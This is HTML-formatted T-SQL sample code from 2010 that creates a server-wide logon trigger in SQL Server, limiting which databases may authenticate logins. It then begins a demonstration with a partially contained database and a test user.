&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;* Author:&amp;nbsp;&amp;nbsp; Raul Garcia&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;* Date:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 11/12/2010&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;*&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;* This code is provided as-is and confers no rights or warranties.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;* This code is based on a CTP version of SQL Server, which is considered a work in progress. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;*&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;* Microsoft SQL Server code-name &amp;ldquo;Denali&amp;rdquo; Community Technology Preview 1 (CTP1)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;* &amp;copy; 2010 Microsoft Corporation.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;*&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;****************************************************************/&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-- Since logon triggers are server-scoped objects, &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-- we will create any necessary additional objects in master. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-- This would give DBA better control over these objects since &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-- only privileged principals should have privileges to alter them&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;--&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;USE&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; &lt;span style="COLOR: blue"&gt;master&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;CREATE&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; &lt;span style="COLOR: blue"&gt;TABLE&lt;/span&gt; [dbo]&lt;span style="COLOR: gray"&gt;.&lt;/span&gt;[t_logon_authentication_dbs]&lt;span style="COLOR: gray"&gt;(&lt;/span&gt;&lt;span style="COLOR: fuchsia"&gt;db_id&lt;/span&gt; &lt;span style="COLOR: blue"&gt;bigint&lt;/span&gt; &lt;span style="COLOR: blue"&gt;primary&lt;/span&gt; &lt;span style="COLOR: blue"&gt;key&lt;/span&gt;&lt;span style="COLOR: gray"&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-- We want anyone to be able to access this data for read-only purposes&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;--&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;GRANT&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; &lt;span style="COLOR: blue"&gt;SELECT&lt;/span&gt; &lt;span style="COLOR: blue"&gt;ON&lt;/span&gt; [dbo]&lt;span style="COLOR: gray"&gt;.&lt;/span&gt;[t_logon_authentication_dbs] &lt;span style="COLOR: blue"&gt;TO&lt;/span&gt; &lt;span style="COLOR: blue"&gt;public;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-- Add the DB id for all of the DBs authorized to authenticate &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-- including/excluding master DB&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;--&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;INSERT&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; &lt;span style="COLOR: blue"&gt;INTO&lt;/span&gt; [dbo]&lt;span style="COLOR: gray"&gt;.&lt;/span&gt;[t_logon_authentication_dbs] &lt;span style="COLOR: blue"&gt;VALUES &lt;/span&gt;&lt;span style="COLOR: gray"&gt;(&lt;/span&gt;&lt;span style="COLOR: fuchsia"&gt;db_id&lt;/span&gt;&lt;span style="COLOR: gray"&gt;(&lt;/span&gt;&lt;span style="COLOR: red"&gt;'master'&lt;/span&gt;&lt;span style="COLOR: gray"&gt;));&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;--&amp;nbsp;&amp;nbsp; This logon trigger will verify the authenticating DB_ID and verify if&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-- it matches one of the authorized DBs.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;--&amp;nbsp;&amp;nbsp; If it does, it allows the logon process to continue, &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-- otherwise it will rollback, causing the session to terminate&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;--&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;CREATE&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; &lt;span style="COLOR: blue"&gt;TRIGGER&lt;/span&gt; trig_logon_db_authentication&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;ON&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; &lt;span style="COLOR: gray"&gt;ALL&lt;/span&gt; &lt;span style="COLOR: blue"&gt;SERVER&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;FOR&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; LOGON&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;AS&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;BEGIN&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: blue"&gt;DECLARE&lt;/span&gt; @dbid &lt;span style="COLOR: blue"&gt;bigint;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;&amp;nbsp;&amp;nbsp; &lt;span style="COLOR: blue"&gt;SELECT&lt;/span&gt; @dbid &lt;span style="COLOR: gray"&gt;=&lt;/span&gt; authenticating_database_id &lt;span style="COLOR: blue"&gt;FROM&lt;/span&gt; &lt;span style="COLOR: green"&gt;sys&lt;/span&gt;&lt;span style="COLOR: gray"&gt;.&lt;/span&gt;&lt;span style="COLOR: green"&gt;dm_exec_sessions&lt;/span&gt; &lt;span style="COLOR: blue"&gt;WHERE&lt;/span&gt; session_id &lt;span style="COLOR: gray"&gt;=&lt;/span&gt; &lt;span style="COLOR: fuchsia"&gt;@@spid;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: blue"&gt;IF&lt;/span&gt; &lt;span style="COLOR: gray"&gt;NOT&lt;/span&gt;&lt;span style="COLOR: blue"&gt; &lt;/span&gt;&lt;span style="COLOR: gray"&gt;(EXISTS(&lt;/span&gt;&lt;span style="COLOR: blue"&gt;SELECT&lt;/span&gt; &lt;span style="COLOR: gray"&gt;*&lt;/span&gt; &lt;span style="COLOR: blue"&gt;FROM&lt;/span&gt; [dbo]&lt;span style="COLOR: gray"&gt;.&lt;/span&gt;[t_logon_authentication_dbs] &lt;span style="COLOR: blue"&gt;WHERE&lt;/span&gt; &lt;span style="COLOR: fuchsia"&gt;db_id&lt;/span&gt; &lt;span style="COLOR: gray"&gt;=&lt;/span&gt; @dbid &lt;span style="COLOR: gray"&gt;))&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;&amp;nbsp;&amp;nbsp; &lt;span style="COLOR: blue"&gt;BEGIN&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="COLOR: blue"&gt;ROLLBACK&lt;/span&gt;&lt;span style="COLOR: gray"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;&amp;nbsp;&amp;nbsp; &lt;span style="COLOR: blue"&gt;END&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;&amp;nbsp;&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;END;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;------------------------------------------------&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-- For demonstration purposes, we will create a partially contained DB where we will:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;--&amp;nbsp;&amp;nbsp; * Create a user with password&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;--&amp;nbsp;&amp;nbsp; * Try to connect with this newly created user&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;CREATE&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; &lt;span style="COLOR: blue"&gt;DATABASE&lt;/span&gt; db_cdb_test CONTAINMENT &lt;span style="COLOR: gray"&gt;=&lt;/span&gt; &lt;span style="COLOR: blue"&gt;PARTIAL&lt;/span&gt;&lt;span style="COLOR: gray"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;USE&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; db_cdb_test&lt;span style="COLOR: gray"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;CREATE&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; &lt;span style="COLOR: fuchsia"&gt;USER&lt;/span&gt; user_test &lt;span style="COLOR: blue"&gt;WITH&lt;/span&gt; &lt;span style="COLOR: blue"&gt;PASSWORD&lt;/span&gt; &lt;span style="COLOR: gray"&gt;=&lt;/span&gt; &lt;span style="COLOR: red"&gt;'S0m3 P@ssw0rD! 4D3M0';&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;GO&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;/****************************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;* Running from the command line:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;*&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
